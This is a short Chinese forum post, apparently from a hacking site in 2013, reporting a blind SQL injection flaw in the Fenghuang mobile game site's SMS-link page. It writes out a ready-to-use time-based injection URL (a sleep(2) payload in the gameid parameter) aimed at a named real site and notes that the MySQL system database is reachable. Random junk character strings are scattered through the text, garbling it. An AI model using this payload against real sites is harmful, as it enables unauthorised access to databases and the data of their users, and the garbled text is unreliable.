简要描述：
6 g+ b O+ c( p) M, ^凤凰手机游戏网，在填写手机号码发送push连接的地方存在sql盲注漏洞。
# |5 i# G& |! q8 Q) X3 X- K8 I8 W1 [( V
详细说明：
F) i; q: z+ Z- d7 A存在SQL盲注url:
, a, [+ Q ?- g6 _7 \1 Z7 u5 z$ Pfenghuang/game/game_send_sms.jsp?gameid=130221346000%27%20and%20sleep%282%29%3d%27&mo=1
# _6 n2 a- Q3 L* l: @9 m, ^http://www.myhack58.com/Article/UploadPic/2013-4/2013411254849748.png$ {! X' D& k5 D0 N, g/ g: p" x
http://www.myhack58.com/Article/UploadPic/2013-4/20134112545369314.png/ t. @& n% U+ A( b. E8 V |
http://www.myhack58.com/Article/UploadPic/2013-4/20134112565766695.jpg4 G& |2 n/ F0 {% G0 G1 M, R
, q" G7 z2 N. [+ a Q; `. ?4 B能看到mysql系统数据库，看来user权限应该很高的。。 | 
发表于 2013-4-4 17:34:29
收藏
支持
反对